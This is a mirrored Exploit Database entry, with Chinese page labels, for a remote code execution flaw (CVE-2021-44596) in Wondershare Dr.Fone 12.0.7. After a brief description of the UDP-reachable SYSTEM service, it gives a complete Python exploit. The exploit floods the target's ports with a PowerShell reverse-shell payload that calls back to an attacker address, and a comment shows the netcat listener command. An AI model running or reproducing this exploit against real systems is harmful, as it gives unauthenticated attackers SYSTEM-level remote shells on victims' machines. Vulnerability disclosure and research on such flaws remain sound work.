Wondershare Dr.Fone 12.0.7 – Remote Code Execution (RCE)

• Exploit Database
• 17 阅读

• 作者： Netanel Cohen
  日期： 2022-05-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50913/

• # Exploit Title: Wondershare Dr.Fone 12.0.7 - Remote Code Execution (RCE)
  # Date: 4/27/2022
  # Exploit Author: Netanel Cohen & Tomer Peled
  # Vendor Homepage: https://drfone.wondershare.net/
  # Software Link: https://download.wondershare.net/drfone_full4008.exe
  # Version: up to 12.0.7
  # Tested on: Windows 10
  # CVE : 2021-44596
  # References: https://github.com/netanelc305/WonderShell
  
  Wondershare LTD Dr. Fone as of 2021-12-06 version is affected by Remote code execution. Due to software design flaws an unauthenticated user can communicate over UDP with the "InstallAssistService.exe" service(the service is running under SYSTEM privileges) and manipulate it to execute malicious executable without any validation from a remote location and gain SYSTEM privileges
  #!/usr/bin/python3
  # stty raw -echo; (stty size; cat) | nc -lvnp 1337
  
  import socket
  
  payload = """WindowsPowerShell\\v1.0\powershell.exe
  -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.14.129',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  Admin
  12345"""
  
  byte_message = bytes(payload, "utf-8")
  
  for i in range(1024,65500):
  opened_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  opened_socket.sendto(byte_message, ("192.168.14.137", i))
  print(f"Trying port {i}",end="\r")